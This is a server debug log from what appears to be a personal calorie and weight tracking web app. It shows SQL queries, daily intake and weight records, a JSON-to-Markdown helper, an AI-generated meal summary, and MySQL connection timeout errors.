  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-24T00:58:37.709Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-24T00:58:37.709Z server-connect:app Executing action step select
2025-12-24T00:58:37.709Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-24T00:58:37.710Z server-connect:output item_list: [
  {
    id: 500,
    intake_date: '2025-12-23T18:30:00.000Z',
    item_name: 'Jamfal (Guava)',
    calories: 30,
    protein_gm: 1,
    carbs_gm: 7,
    fat_gm: 0,
    quantity: '2 slices',
    replacements: 'Cucumber slices,Watermelon slices,Bell pepper strips',
    created_at: '2025-12-23T19:28:36.000Z',
    skip_level: 1,
    skip_reason: "Jamfal is a good source of Vitamin C and fiber, beneficial for overall health and recovery. It's a low-calorie fruit."
  },
  {
    id: 501,
    intake_date: '2025-12-23T18:30:00.000Z',
    item_name: 'Pre-workout supplement',
    calories: 10,
    protein_gm: 0,
    carbs_gm: 2,
    fat_gm: 0,
    quantity: '1 scoop',
    replacements: 'Black coffee (no sugar/cream),Green tea,Small piece of fruit (e.g., half a banana)',
    created_at: '2025-12-23T19:28:36.000Z',
    skip_level: 2,
    skip_reason: "While pre-workouts can provide a boost for intense sessions, they often contain artificial sweeteners, colors, and stimulants. For muscle development, focus on whole foods and adequate sleep. If you feel you need it, ensure it's a high-quality product with minimal additives. Consider if the energy boost is truly necessary for every session or if natural sources can suffice."
  }
]
2025-12-24T00:58:37.711Z server-connect:app Executing action step setvalue
2025-12-24T00:58:37.711Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-24T00:58:37.711Z server-connect:output var_total: 40
2025-12-24T00:58:37.711Z server-connect:app Executing action step setvalue
2025-12-24T00:58:37.711Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-24T00:58:37.711Z server-connect:output var_consumed: 2
2025-12-24T00:58:37.711Z server-connect:app Executing action step setvalue
2025-12-24T00:58:37.711Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-24T00:58:37.711Z server-connect:output var_deficit: 2360
2025-12-24T00:58:37.711Z server-connect:app Executing action step custom
2025-12-24T00:58:37.711Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-24T00:58:37.713Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '2030',
    surplus_or_deficit: '370',
    status_flag: 1
  },
  {
    intake_date: 2025-12-16T18:30:00.000Z,
    total_consumed: '2088',
    surplus_or_deficit: '312',
    status_flag: 1
  },
  {
    intake_date: 2025-12-17T18:30:00.000Z,
    total_consumed: '1668',
    surplus_or_deficit: '732',
    status_flag: 2
  },
  {
    intake_date: 2025-12-18T18:30:00.000Z,
    total_consumed: '2115',
    surplus_or_deficit: '285',
    status_flag: 1
  },
  {
    intake_date: 2025-12-19T18:30:00.000Z,
    total_consumed: '1575',
    surplus_or_deficit: '825',
    status_flag: 2
  },
  {
    intake_date: 2025-12-20T18:30:00.000Z,
    total_consumed: '972',
    surplus_or_deficit: '1428',
    status_flag: 2
  },
  {
    intake_date: 2025-12-21T18:30:00.000Z,
    total_consumed: '1325',
    surplus_or_deficit: '1075',
    status_flag: 2
  },
  {
    intake_date: 2025-12-22T18:30:00.000Z,
    total_consumed: '1052',
    surplus_or_deficit: '1348',
    status_flag: 2
  },
  {
    intake_date: 2025-12-23T18:30:00.000Z,
    total_consumed: '40',
    surplus_or_deficit: '2360',
    status_flag: 2
  }
]
2025-12-24T00:58:38.424Z server-connect:app Executing action step identify
2025-12-24T00:58:38.424Z server-connect:app options: { provider: 'security' }
2025-12-24T00:58:38.425Z server-connect:output identity: 1
2025-12-24T00:58:41.893Z server-connect:router Serving serverConnect /api/gemini/calculate-health-summary
2025-12-24T00:58:41.893Z server-connect:app Executing action step identify
2025-12-24T00:58:41.893Z server-connect:app options: { provider: 'security' }
2025-12-24T00:58:41.893Z server-connect:output identity: 1
2025-12-24T00:58:41.894Z server-connect:app Executing action step restrict
2025-12-24T00:58:41.894Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-24T00:58:41.894Z server-connect:output restrict: undefined
2025-12-24T00:58:41.895Z server-connect:app Executing action step select
2025-12-24T00:58:41.895Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `item_name`, `calories`, `protein_gm`, `carbs_gm`, `fat_gm`, `quantity` from `calories_tracking` where `calories_tracking`.`intake_date` = ?'
  }
}
2025-12-24T00:58:41.896Z server-connect:output items_consumed_today: [
  {
    id: 500,
    item_name: 'Jamfal (Guava)',
    calories: 30,
    protein_gm: 1,
    carbs_gm: 7,
    fat_gm: 0,
    quantity: '2 slices'
  },
  {
    id: 501,
    item_name: 'Pre-workout supplement',
    calories: 10,
    protein_gm: 0,
    carbs_gm: 2,
    fat_gm: 0,
    quantity: '1 scoop'
  }
]
2025-12-24T00:58:41.897Z server-connect:app Executing action step paged
2025-12-24T00:58:41.897Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'health_weight_trackor' },
    joins: [],
    orders: [ [Object] ],
    query: 'select `date`, `weight` from `health_weight_trackor` order by `date` DESC limit ?',
    limit: 15
  }
}
2025-12-24T00:58:41.900Z server-connect:output weight_logs: {
  offset: 0,
  limit: 15,
  total: 18,
  page: {
    offset: { first: 0, prev: 0, next: 15, last: 15 },
    current: 1,
    total: 2
  },
  data: [
    { date: '2025-12-21T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-20T18:30:00.000Z', weight: '69.80' },
    { date: '2025-12-19T18:30:00.000Z', weight: '69.95' },
    { date: '2025-12-18T18:30:00.000Z', weight: '70.50' },
    { date: '2025-12-17T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-16T18:30:00.000Z', weight: '70.15' },
    { date: '2025-12-15T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-11T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-09T18:30:00.000Z', weight: '70.95' },
    { date: '2025-12-08T18:30:00.000Z', weight: '71.15' },
    { date: '2025-12-08T18:30:00.000Z', weight: '71.15' },
    { date: '2025-12-05T18:30:00.000Z', weight: '72.40' },
    { date: '2025-12-04T18:30:00.000Z', weight: '71.20' },
    { date: '2025-12-03T18:30:00.000Z', weight: '71.40' },
    { date: '2025-12-02T18:30:00.000Z', weight: '70.80' }
  ]
}
2025-12-24T00:58:41.901Z server-connect:app Executing action step run
2025-12-24T00:58:41.901Z server-connect:app options: {
  code: 'function jsonToMarkdown(data, title = "Report", level = 2) {\n' +
    '  let md = "";\n' +
    '\n' +
    '  if (level === 2) {\n' +
    '    md += `## ${title}\\n\\n`;\n' +
    '  }\n' +
    '\n' +
    '  if (Array.isArray(data)) {\n' +
    '    if (!data.length) return "_No data_\\n\\n";\n' +
    '\n' +
    '    // Array of objects → table\n' +
    '    if (typeof data[0] === "object" && data[0] !== null) {\n' +
    '      const headers = Object.keys(data[0]);\n' +
    '\n' +
    '      md += `| ${headers.join(" | ")} |\\n`;\n' +
    '      md += `| ${headers.map(() => "---").join(" | ")} |\\n`;\n' +
    '\n' +
    '      data.forEach(row => {\n' +
    '        md += `| ${headers.map(h => row[h] ?? "").join(" | ")} |\\n`;\n' +
    '      });\n' +
    '\n' +
    '      md += "\\n";\n' +
    '      return md;\n' +
    '    }\n' +
    '\n' +
    '    // Array of primitives\n' +
    '    return data.map(v => `- ${v}`).join("\\n") + "\\n\\n";\n' +
    '  }\n' +
    '\n' +
    '  if (typeof data === "object" && data !== null) {\n' +
    '    for (const key in data) {\n' +
    '      const value = data[key];\n' +
    '      const label = key\n' +
    '        .replace(/_/g, " ")\n' +
    '        .replace(/([a-z])([A-Z])/g, "$1 $2")\n' +
    '        .replace(/\\b\\w/g, l => l.toUpperCase());\n' +
    '\n' +
    '      if (typeof value === "object") {\n' +
    '        md += `${"#".repeat(level)} ${label}\\n\\n`;\n' +
    '        md += jsonToMarkdown(value, "", level + 1);\n' +
    '      } else {\n' +
    '        md += `- **${label}:** ${value}\\n`;\n' +
    '      }\n' +
    '    }\n' +
    '    md += "\\n";\n' +
    '  }\n' +
    '\n' +
    '  return md;\n' +
    '}\n' +
    '\n' +
    'const md = jsonToMarkdown(dynamicJson, "Items consumed today");\n' +
    'return md;',
  data: { dynamicJson: '{{items_consumed_today}}' },
  show_errors: true,
  throw_errors: true
}
2025-12-24T00:58:41.903Z server-connect:output items_consumed: '## Items consumed today\n' +
  '\n' +
  '| id | item_name | calories | protein_gm | carbs_gm | fat_gm | quantity |\n' +
  '| --- | --- | --- | --- | --- | --- | --- |\n' +
  '| 500 | Jamfal (Guava) | 30 | 1 | 7 | 0 | 2 slices |\n' +
  '| 501 | Pre-workout supplement | 10 | 0 | 2 | 0 | 1 scoop |\n' +
  '\n'
2025-12-24T00:58:41.903Z server-connect:app Executing action step run
2025-12-24T00:58:41.903Z server-connect:app options: {
  code: 'function jsonToMarkdown(data, title = "Report", level = 2) {\n' +
    '  let md = "";\n' +
    '\n' +
    '  if (level === 2) {\n' +
    '    md += `## ${title}\\n\\n`;\n' +
    '  }\n' +
    '\n' +
    '  if (Array.isArray(data)) {\n' +
    '    if (!data.length) return "_No data_\\n\\n";\n' +
    '\n' +
    '    // Array of objects → table\n' +
    '    if (typeof data[0] === "object" && data[0] !== null) {\n' +
    '      const headers = Object.keys(data[0]);\n' +
    '\n' +
    '      md += `| ${headers.join(" | ")} |\\n`;\n' +
    '      md += `| ${headers.map(() => "---").join(" | ")} |\\n`;\n' +
    '\n' +
    '      data.forEach(row => {\n' +
    '        md += `| ${headers.map(h => row[h] ?? "").join(" | ")} |\\n`;\n' +
    '      });\n' +
    '\n' +
    '      md += "\\n";\n' +
    '      return md;\n' +
    '    }\n' +
    '\n' +
    '    // Array of primitives\n' +
    '    return data.map(v => `- ${v}`).join("\\n") + "\\n\\n";\n' +
    '  }\n' +
    '\n' +
    '  if (typeof data === "object" && data !== null) {\n' +
    '    for (const key in data) {\n' +
    '      const value = data[key];\n' +
    '      const label = key\n' +
    '        .replace(/_/g, " ")\n' +
    '        .replace(/([a-z])([A-Z])/g, "$1 $2")\n' +
    '        .replace(/\\b\\w/g, l => l.toUpperCase());\n' +
    '\n' +
    '      if (typeof value === "object") {\n' +
    '        md += `${"#".repeat(level)} ${label}\\n\\n`;\n' +
    '        md += jsonToMarkdown(value, "", level + 1);\n' +
    '      } else {\n' +
    '        md += `- **${label}:** ${value}\\n`;\n' +
    '      }\n' +
    '    }\n' +
    '    md += "\\n";\n' +
    '  }\n' +
    '\n' +
    '  return md;\n' +
    '}\n' +
    '\n' +
    'const md = jsonToMarkdown(dynamicJson, "Weight Logs");\n' +
    'return md;',
  data: { dynamicJson: '{{weight_logs.data}}' },
  show_errors: true,
  throw_errors: true
}
2025-12-24T00:58:41.904Z server-connect:output weight_logs: '## Weight Logs\n' +
  '\n' +
  '| date | weight |\n' +
  '| --- | --- |\n' +
  '| 2025-12-21T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-20T18:30:00.000Z | 69.80 |\n' +
  '| 2025-12-19T18:30:00.000Z | 69.95 |\n' +
  '| 2025-12-18T18:30:00.000Z | 70.50 |\n' +
  '| 2025-12-17T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-16T18:30:00.000Z | 70.15 |\n' +
  '| 2025-12-15T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-11T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-09T18:30:00.000Z | 70.95 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-05T18:30:00.000Z | 72.40 |\n' +
  '| 2025-12-04T18:30:00.000Z | 71.20 |\n' +
  '| 2025-12-03T18:30:00.000Z | 71.40 |\n' +
  '| 2025-12-02T18:30:00.000Z | 70.80 |\n' +
  '\n'
2025-12-24T00:58:41.904Z server-connect:app Executing action step setvalue
2025-12-24T00:58:41.904Z server-connect:app options: { key: 'raw_value', value: "{{items_consumed+' '+weight_logs}}" }
2025-12-24T00:58:41.904Z server-connect:output raw_value: '## Items consumed today\n' +
  '\n' +
  '| id | item_name | calories | protein_gm | carbs_gm | fat_gm | quantity |\n' +
  '| --- | --- | --- | --- | --- | --- | --- |\n' +
  '| 500 | Jamfal (Guava) | 30 | 1 | 7 | 0 | 2 slices |\n' +
  '| 501 | Pre-workout supplement | 10 | 0 | 2 | 0 | 1 scoop |\n' +
  '\n' +
  ' ## Weight Logs\n' +
  '\n' +
  '| date | weight |\n' +
  '| --- | --- |\n' +
  '| 2025-12-21T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-20T18:30:00.000Z | 69.80 |\n' +
  '| 2025-12-19T18:30:00.000Z | 69.95 |\n' +
  '| 2025-12-18T18:30:00.000Z | 70.50 |\n' +
  '| 2025-12-17T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-16T18:30:00.000Z | 70.15 |\n' +
  '| 2025-12-15T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-11T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-09T18:30:00.000Z | 70.95 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-05T18:30:00.000Z | 72.40 |\n' +
  '| 2025-12-04T18:30:00.000Z | 71.20 |\n' +
  '| 2025-12-03T18:30:00.000Z | 71.40 |\n' +
  '| 2025-12-02T18:30:00.000Z | 70.80 |\n' +
  '\n'
2025-12-24T00:58:41.904Z server-connect:app Executing action step processWithGemini
2025-12-24T00:58:41.904Z server-connect:app options: {
  request_type: 'meal_summary',
  raw_text: '{{raw_value}}',
  socket_id: '{{$_GET.so_id}}'
}
2025-12-24T00:58:43.250Z server-connect:output health_summary: {
  summary: "Today's intake appears very light, primarily consisting of fruit and a pre-workout supplement. This level of consumption is unlikely to adequately support muscle development and fat loss goals, especially with a consistent gym routine. Recovery might be compromised due to insufficient nutrient intake throughout the day.",
  rating: 2,
  good_points: [
    'Consumed fruit for some nutrients.',
    'Utilized a pre-workout supplement to aid training.'
  ],
  bad_points: [
    'Extremely low overall food intake.',
    'Likely inadequate protein for muscle development.',
    'Lack of balanced meals throughout the day.',
    'Insufficient fuel for recovery and sustained energy.'
  ],
  suggestions: [
    'Incorporate a substantial protein source with each meal.',
    'Add complex carbohydrates and healthy fats to meals for sustained energy.',
    'Ensure adequate hydration throughout the day.',
    'Plan for balanced meals and snacks to support recovery and muscle growth.'
  ],
  predicted_weight_trend: 'slight loss',
  predicted_weight: 70.1
}
2025-12-24T00:58:43.250Z server-connect:app Executing action step condition
2025-12-24T00:58:43.251Z server-connect:app options: {
  if: '{{health_summary.rating>0}}',
  then: { steps: [ [Object], [Object] ] }
}
2025-12-24T00:58:43.251Z server-connect:app Executing action step delete
2025-12-24T00:58:43.251Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'delete',
    table: 'health_summary',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'delete from `health_summary` where `date` = ?',
    params: [ [Object] ]
  }
}
2025-12-24T00:58:43.252Z server-connect:output delete: { affected: 0 }
2025-12-24T00:58:43.252Z server-connect:app Executing action step insert
2025-12-24T00:58:43.252Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'health_summary',
    returning: 'id',
    query: 'insert into `health_summary` (`date`, `summary`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2025-12-24T00:58:43.253Z server-connect:output insert: { affected: 1, identity: 59 }
2025-12-24T00:58:43.253Z server-connect:output condition: undefined
2025-12-24T00:58:43.452Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-24T00:58:43.452Z server-connect:app Executing action step identify
2025-12-24T00:58:43.453Z server-connect:app options: { provider: 'security' }
2025-12-24T00:58:43.453Z server-connect:output identity: 1
2025-12-24T00:58:43.453Z server-connect:app Executing action step restrict
2025-12-24T00:58:43.453Z server-connect:app options: { provider: 'security' }
2025-12-24T00:58:43.453Z server-connect:output restrict: undefined
2025-12-24T00:58:43.453Z server-connect:app Executing action step single
2025-12-24T00:58:43.453Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-24T00:58:43.454Z server-connect:output summary: {
  summary: {
    rating: 2,
    summary: "Today's intake appears very light, primarily consisting of fruit and a pre-workout supplement. This level of consumption is unlikely to adequately support muscle development and fat loss goals, especially with a consistent gym routine. Recovery might be compromised due to insufficient nutrient intake throughout the day.",
    bad_points: [
      'Extremely low overall food intake.',
      'Likely inadequate protein for muscle development.',
      'Lack of balanced meals throughout the day.',
      'Insufficient fuel for recovery and sustained energy.'
    ],
    good_points: [
      'Consumed fruit for some nutrients.',
      'Utilized a pre-workout supplement to aid training.'
    ],
    suggestions: [
      'Incorporate a substantial protein source with each meal.',
      'Add complex carbohydrates and healthy fats to meals for sustained energy.',
      'Ensure adequate hydration throughout the day.',
      'Plan for balanced meals and snacks to support recovery and muscle growth.'
    ],
    predicted_weight: 70.1,
    predicted_weight_trend: 'slight loss'
  },
  date: '2025-12-23T18:30:00.000Z'
}
2025-12-24T01:00:32.818Z server-connect:app Executing action step identify
2025-12-24T01:00:32.818Z server-connect:app options: { provider: 'security' }
2025-12-24T01:00:32.818Z server-connect:output identity: 1
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-24 01:12:32' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-24 01:12:32' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-24 01:24:32' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
